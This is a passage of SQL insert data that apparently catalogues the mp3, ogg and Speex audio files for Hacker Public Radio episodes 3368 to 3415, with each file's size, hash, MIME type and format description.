(3368,'hpr3368.mp3','mp3',4511470,'500c16bb85298de74197ae41c4ba1f68d68fcc42','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3368,'hpr3368.ogg','ogg',5024860,'2d7f1a0290b5f24329f0938f4d64ec37494e890f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3368,'hpr3368.spx','spx',2014673,'ab0edfb6d09453b2adcf8a82a7ecdaea09256151','application/ogg; charset=binary','Ogg data, Speex audio'),
(3369,'hpr3369.mp3','mp3',32133775,'c591ef9950e8de783bd9fac686fca61d6a044729','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3369,'hpr3369.ogg','ogg',30834331,'162bc7d1ada50b8387f0b0b0a1b5ad8a6d5e2ad5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3369,'hpr3369.spx','spx',14351050,'561f280c9f5c489c8ed3a9c1898e97f855dfd856','application/ogg; charset=binary','Ogg data, Speex audio'),
(3370,'hpr3370.mp3','mp3',8065740,'febd660c49f39177f6e9f33e9463d8c7be88e47c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3370,'hpr3370.ogg','ogg',9095753,'6243119344afc04e172c9e38f8de468181b0a2f9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3370,'hpr3370.spx','spx',3601917,'e3000240e4ef9439e67ea3b4968ab73ace638bce','application/ogg; charset=binary','Ogg data, Speex audio'),
(3371,'hpr3371.mp3','mp3',33092539,'ffbe5380aeef1a520b87dab1fbb6968e3d975052','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3371,'hpr3371.ogg','ogg',34623764,'e89f796e27b636c400117b9bf6af3fc3fc234fd9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3371,'hpr3371.spx','spx',14779273,'a791a31fbb7e28ce82004e8b481c6ea28f933357','application/ogg; charset=binary','Ogg data, Speex audio'),
(3372,'hpr3372.mp3','mp3',48728994,'9358f3edfa91a1adefd30dd1529e3d62466daaad','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3372,'hpr3372.ogg','ogg',48077306,'19b444afc99a28853e2b4844c03056a748a2cd50','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3372,'hpr3372.spx','spx',21762577,'64986965eee9336d5942334bfd7dc873b583162b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3373,'hpr3373.mp3','mp3',41770815,'a3922663ead6684bf9c592ba8725ff921a7bbcda','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3373,'hpr3373.ogg','ogg',44729202,'6eae8a176cc3977007cf20f02847381efb02d8b1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3373,'hpr3373.spx','spx',18655036,'0bf8d4cd9ab90aa42855318f6542b816fa2cd538','application/ogg; charset=binary','Ogg data, Speex audio'),
(3374,'hpr3374.mp3','mp3',12601888,'7fd386f4ecf466bd78b5d48e79cc3f774ddfd933','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3374,'hpr3374.ogg','ogg',13537300,'1b4b46358e3009e68cede79f50361b6fa0f5ea9e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3374,'hpr3374.spx','spx',5627835,'679ef526ebd084e97e92938cfe0a3455704290a5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3375,'hpr3375.mp3','mp3',6053450,'fd0435cb662005f53e4ed7cb9e5e1f72558c99be','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3375,'hpr3375.ogg','ogg',6751119,'a7486aa65e0c565455850264633306db0ce51218','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3375,'hpr3375.spx','spx',2703245,'6776aa6db7a980dc14f4143f4817df2e41bfe982','application/ogg; charset=binary','Ogg data, Speex audio'),
(3376,'hpr3376.mp3','mp3',24491343,'49f4b549635bd86fb1509a2ee51b7eda0b63d1bc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3376,'hpr3376.ogg','ogg',24186577,'7fc5b5dfab03b6a628ea82168c36026d02e6b5ed','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3376,'hpr3376.spx','spx',10937844,'2381bef9a38671a865d38215b3e955891abd2002','application/ogg; charset=binary','Ogg data, Speex audio'),
(3377,'hpr3377.mp3','mp3',9071763,'3d207ed9863c4fa03aec45caff4134f30db07928','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3377,'hpr3377.ogg','ogg',9598353,'23c80c4bf8613eac09c03acc8e3272e89cd90493','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3377,'hpr3377.spx','spx',4051293,'c5740364a0ff2f17b82db689139c666104bc2185','application/ogg; charset=binary','Ogg data, Speex audio'),
(3378,'hpr3378.mp3','mp3',6009635,'60902f06b57f449fff6bb120cbaae56803474f08','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3378,'hpr3378.ogg','ogg',6567677,'abc0f493a2b71f2bcf86ba71b004d20e45d435ed','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3378,'hpr3378.spx','spx',2683726,'52f89dd6dc248af26d043ba260964f4be213ec05','application/ogg; charset=binary','Ogg data, Speex audio'),
(3379,'hpr3379.mp3','mp3',22910035,'591ba19b87adf4ab6e1e2114b7e1bcf5380131f7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3379,'hpr3379.ogg','ogg',22464736,'8691f7acf7e8b2a348507c10f042bc9d88feaae0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3379,'hpr3379.spx','spx',10231656,'91b9764e43f25347a9d0584e855fffc7f610ba2a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3380,'hpr3380.mp3','mp3',6737304,'9a9c520da0520702ee8e29991444429bc0ea87ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3380,'hpr3380.ogg','ogg',7716982,'0129a3f4563d27c7f6acfea2116711aebf23c637','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3380,'hpr3380.spx','spx',3008715,'ecf41ebd2aabc1251688fd3cc475773e9cd44013','application/ogg; charset=binary','Ogg data, Speex audio'),
(3381,'hpr3381.mp3','mp3',17544220,'ced450bd75d40899db304984a03a0cefc45caa5e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3381,'hpr3381.ogg','ogg',19476963,'6c30d680c1b677b4c9d0de6f1e140d6298cb3c73','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3381,'hpr3381.spx','spx',7835138,'b4fe1b9425e25addcd433ee4a90dc335f8dd0d3d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3382,'hpr3382.mp3','mp3',7236984,'23470d43617f47185bf82a62ad97947ed0b108a0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3382,'hpr3382.ogg','ogg',8689923,'0298adbe1bc2bf4edf4e5934c7651741c82dcb29','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3382,'hpr3382.spx','spx',3231889,'39f36db1204c0581c114c3b6000e2605ee14896c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3383,'hpr3383.mp3','mp3',9384438,'3da96ae9052111f04cabc73bed46e474f8155280','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3383,'hpr3383.ogg','ogg',10516697,'90a5d9a3c0c85065a9f3feff33af245f3e5e51d0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3383,'hpr3383.spx','spx',4190889,'81942155c77282657446282a7d44b18f6a1d72f9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3384,'hpr3384.mp3','mp3',14759174,'f4c9ba6e23e81e2a90e6d4cad059ac66312ec61f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3384,'hpr3384.ogg','ogg',16702004,'258cc6888de0b5cfa3d59f81de1daeb56d7cdce0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3384,'hpr3384.spx','spx',6591372,'7d3f4b4e3b6e3a8227a236b2282ec196a79895ce','application/ogg; charset=binary','Ogg data, Speex audio'),
(3385,'hpr3385.mp3','mp3',7703546,'db90a698eeffe109f372d13d9be57363d0246b8b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3385,'hpr3385.ogg','ogg',8699193,'7bb4ede4a6e9b94035b72c104927414b5e3edbe8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3385,'hpr3385.spx','spx',3440159,'b7bed6ba8336a66e8871fae907e4052e22ee26b7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3386,'hpr3386.mp3','mp3',11862492,'5627ce97a7450fe5a6faa19ef0a967d47f6c6953','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3386,'hpr3386.ogg','ogg',12961646,'f1d4c2ce46044a3344010718f1c02e9bd62f281b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3386,'hpr3386.spx','spx',5297683,'7a574bab67ca395ea9baafcb11e5b2207a3284c1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3387,'hpr3387.mp3','mp3',5030133,'7f233729a38db010544d4efc8238dd1fbf90447c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3387,'hpr3387.ogg','ogg',5631803,'1679f4694675eba0ec91849a6df6a3b01e60fea6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3387,'hpr3387.spx','spx',2246313,'4cd6c623320fe6b12d9ee25dd760238a38b89a1e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3388,'hpr3388.mp3','mp3',38736470,'8f0cbbfb3854f2452a40bbbbe6827d250e9ed2b1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3388,'hpr3388.ogg','ogg',37273838,'686551345c651a2e21fd49b32f040167b34b4b4e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3388,'hpr3388.spx','spx',17299821,'88804736ade230d919d37909a60066ae5af0f73a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3389,'hpr3389.mp3','mp3',4043277,'57cb963814fb827ea67ae65d22df6d5c77acf202','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3389,'hpr3389.ogg','ogg',4109031,'4ced19d575d680edaf5f4b1521c4a93505303e36','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3389,'hpr3389.spx','spx',1805451,'b474c14a1606151cf4e5822999921d4346b8aab1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3390,'hpr3390.mp3','mp3',7534102,'c59c6935840e4d9828a29a0b296410155e0f7a32','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3390,'hpr3390.ogg','ogg',8652346,'c651cadc100753a0564e7d790316383740654cfd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3390,'hpr3390.spx','spx',3364522,'7394f6ff99a098750f6956caece7132d20eeae1e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3391,'hpr3391.mp3','mp3',38085063,'6f9b48c267b8bfb8c86efaf961b9ed77fea2c348','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3391,'hpr3391.ogg','ogg',39576916,'349de37a01672fa3e4b2c5b7261014ee0d4c80e8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3391,'hpr3391.spx','spx',17008900,'be0f55b0d6d152a1126536c3e667917553d189ab','application/ogg; charset=binary','Ogg data, Speex audio'),
(3392,'hpr3392.mp3','mp3',14881235,'85ec63a8f463261f86687be785b4b7efba6e8369','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3392,'hpr3392.ogg','ogg',15345290,'a3edc18d8271e55f273edd409d73e19a120604e0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3392,'hpr3392.spx','spx',6645913,'4342d258607f02eed498f9516a9c72984e755818','application/ogg; charset=binary','Ogg data, Speex audio'),
(3393,'hpr3393.mp3','mp3',15400506,'57ce6f8a0b474d50d38133cc0b2bfb4a95ed278b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3393,'hpr3393.ogg','ogg',17926494,'da480bc64226c325bf5b73e97994dcacacbdf6f8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3393,'hpr3393.spx','spx',6877749,'14b375e4bdc903087de3b9bae3ec04666f6ad357','application/ogg; charset=binary','Ogg data, Speex audio'),
(3394,'hpr3394.mp3','mp3',13049458,'d0a318c5e08812400a6a856d0cc3a297e0476ddf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3394,'hpr3394.ogg','ogg',14936879,'6ec4a43ccac3f53363ffe6d370aa83d01a595df7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3394,'hpr3394.spx','spx',5827796,'036f87543f4fddaeafd09dfb6e13061dee80cbd4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3395,'hpr3395.mp3','mp3',16968918,'67e3b0bc330cad4ee279be75183cc27626fce481','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3395,'hpr3395.ogg','ogg',17747248,'e8d9d217d424ea8879c5b98c536bb10a75f20c2e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3395,'hpr3395.spx','spx',7578264,'df48df0c30b05174bf11fd5d35cd17042c1a7e14','application/ogg; charset=binary','Ogg data, Speex audio'),
(3396,'hpr3396.mp3','mp3',19283565,'46978d83f78e0dfa9847c89c7a9c4cafcd116e1c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3396,'hpr3396.ogg','ogg',22086180,'737c61d5be5d46e845172ee0bf03f2a839841218','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3396,'hpr3396.spx','spx',8611955,'e12a47aa0c527d989065de53e9dc5f0e27858f09','application/ogg; charset=binary','Ogg data, Speex audio'),
(3397,'hpr3397.mp3','mp3',5091748,'37d55038dd25a5772b2fb73fa8c66e913d6bad8f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3397,'hpr3397.ogg','ogg',5569967,'e1c0e58430c3292b1e2d7f4979a93f913197be6b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3397,'hpr3397.spx','spx',2273803,'c04c7a1b42884b0f1aaac0ec1c7db72924072a23','application/ogg; charset=binary','Ogg data, Speex audio'),
(3398,'hpr3398.mp3','mp3',7899783,'75fde339f7e0b81a13a305d685db5d9b846f1b01','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3398,'hpr3398.ogg','ogg',8867445,'5812127150738d0cd1c463f969630017801d973e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3398,'hpr3398.spx','spx',3527848,'0e26c9af0197067cd7722824940443687f7e7cee','application/ogg; charset=binary','Ogg data, Speex audio'),
(3399,'hpr3399.mp3','mp3',28065342,'064f468c68d01459239515c48363dbda53a3e171','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3399,'hpr3399.ogg','ogg',27184991,'9cf4d7f7d70d164330d9630847ae8a380ba50ba9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3399,'hpr3399.spx','spx',12534007,'d30f097b7b02aa3cf3db7b99915f254cbe39689e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3400,'hpr3400.mp3','mp3',7346020,'c3d85741093f4d4a222a9e13ff8ba7539b551ad2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3400,'hpr3400.ogg','ogg',8411947,'17ad68e9a1fe369c03f8e4fdb4c98df63a057ee6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3400,'hpr3400.spx','spx',3280584,'99ece25f3ca283606871369bde7bd227aadf7784','application/ogg; charset=binary','Ogg data, Speex audio'),
(3401,'hpr3401.mp3','mp3',15722732,'33bdef8c33fd4eb4ab49871f2b8864969579c28b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3401,'hpr3401.ogg','ogg',18314044,'3e02915038120622eda27c66f4f2b95d1a8e07d4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3401,'hpr3401.spx','spx',7021712,'8167db467fe8e0a5f3d5cee195307cacbf68899d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3402,'hpr3402.mp3','mp3',7692781,'bc5c8f6d98d87d9396a8b2a92a04489b225521a9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3402,'hpr3402.ogg','ogg',8265727,'6ba1c38ca179c67a66914459f79f088191f44cf5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3402,'hpr3402.spx','spx',3435406,'5fd391e8e615a7e6aa657244ca774cfc9b1e7650','application/ogg; charset=binary','Ogg data, Speex audio'),
(3403,'hpr3403.mp3','mp3',11862920,'09eef12db44a60a87c4ab680faae71dadbd1e390','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3403,'hpr3403.ogg','ogg',12312277,'e972de98a04f7127db84f30b8e0b4c3cd3fcc2e1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3403,'hpr3403.spx','spx',5297906,'91e43233e2c1f8425dda035b5d8a86e93896c18f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3404,'hpr3404.mp3','mp3',6332208,'3cdbcfc214eccc68de449397c51e58822621e76e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3404,'hpr3404.ogg','ogg',6511260,'35930cec5428098807ac5ce16fd1ec974d492a32','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3404,'hpr3404.spx','spx',2827759,'de4089d1ec08f59e88f2569337bce139666fc01b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3405,'hpr3405.mp3','mp3',2342851,'9b92b1ae2ee2af9b83f7bc60acef66b132012bbb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3405,'hpr3405.ogg','ogg',2447420,'c4693eeb2f135c9722234549777badce91d56d4f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3405,'hpr3405.spx','spx',1046115,'2d08c8640387eed59ceb36fe59386b26ffb0264f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3406,'hpr3406.mp3','mp3',13401811,'51b509afb6dc76b7be68b274389b34b0973c9eb0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3406,'hpr3406.ogg','ogg',15162530,'a51662b22351b4d16cbf68c3c29f4c3f522c36aa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3406,'hpr3406.spx','spx',5985079,'5656f1a6280465b3286021e3605422de3da5bd19','application/ogg; charset=binary','Ogg data, Speex audio'),
(3407,'hpr3407.mp3','mp3',20788007,'05e49cf98ce801081fb39b3dcf9bbe8e28eb33b6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3407,'hpr3407.ogg','ogg',22433467,'8964e548537788ffa1ebdbf3d230a968c2719369','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3407,'hpr3407.spx','spx',9283858,'b664e6d646b1ef760515a8850a75fe554222bc30','application/ogg; charset=binary','Ogg data, Speex audio'),
(3408,'hpr3408.mp3','mp3',3826384,'471b77da297b58c0a93ed1cc3fa3a0bc922ac15e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3408,'hpr3408.ogg','ogg',4258885,'135894b44a2ba3b069c0807eb7b2ff4001ffcd59','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3408,'hpr3408.spx','spx',1708653,'effb59e54c29815b62b0862e62f667c6af49c5be','application/ogg; charset=binary','Ogg data, Speex audio'),
(3409,'hpr3409.mp3','mp3',47078920,'c1cc0fe96a6735594868177c0bebd35826205d74','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3409,'hpr3409.ogg','ogg',44272563,'0c6fa5ef4549f322fd6e4dffc9585bcdd90335da','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3409,'hpr3409.spx','spx',21025658,'eef9c90cbe699666f279492b5cd28bd9a22a0398','application/ogg; charset=binary','Ogg data, Speex audio'),
(3410,'hpr3410.mp3','mp3',7744551,'3eaa3b9268a25ce7d5e75febdec7de666520c916','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3410,'hpr3410.ogg','ogg',8897764,'390336ad19cc17567aa70b37717cb6f366776c43','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3410,'hpr3410.spx','spx',3458515,'4118e7d03146fa0dda3a86054dac6ef34b508c54','application/ogg; charset=binary','Ogg data, Speex audio'),
(3411,'hpr3411.mp3','mp3',13706492,'c65c3e4eb18fec3e933c0a641c106df0611d4ac4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3411,'hpr3411.ogg','ogg',15491433,'a3a5da7690643c6ea17d4f33c0951657ae968901','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3411,'hpr3411.spx','spx',6121187,'6add36f4df10f485d0890adbee4c2dc8b88f1c0d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3412,'hpr3412.mp3','mp3',17494746,'57a5c2d4543ee5384144b2aeb485f957ef2667c1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3412,'hpr3412.ogg','ogg',17931054,'b00ca67141ea80fbfb66c14fcae5a03a200d7f59','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3412,'hpr3412.spx','spx',7813118,'09aaf22482556b434f7a7dfa0364b2d26771a977','application/ogg; charset=binary','Ogg data, Speex audio'),
(3413,'hpr3413.mp3','mp3',23061092,'270280150de35aff2a1c229c222181badc8fbf4e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3413,'hpr3413.ogg','ogg',25130183,'92e795677ffd482cc48c69293b81f27fa8a804e5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3413,'hpr3413.spx','spx',10299076,'070b2bb9361abde26355b72e6dd2c97089d72026','application/ogg; charset=binary','Ogg data, Speex audio'),
(3414,'hpr3414.mp3','mp3',6318521,'d833b59f992055f220f5765dac1ca37431aaf7c8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3414,'hpr3414.ogg','ogg',6732660,'19d2317b41e138bd8b75ae0d8dbfe024e4bd0af7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3414,'hpr3414.spx','spx',2821732,'ac22d920bb1ec7f0fa659ed83c74628907a88b41','application/ogg; charset=binary','Ogg data, Speex audio'),
(3415,'hpr3415.mp3','mp3',7825851,'a941db4427115a61edaa06942c1fb7cc731a9847','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3415,'hpr3415.ogg','ogg',8651534,'16535b5bffdafa1ae89c7348b14f1aaf94abae6c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3415,'hpr3415.spx','spx',3494806,'afa303a117966714f05c6a32fe39fb767bea0e8e','application/ogg; charset=binary','Ogg data, Speex audio'),
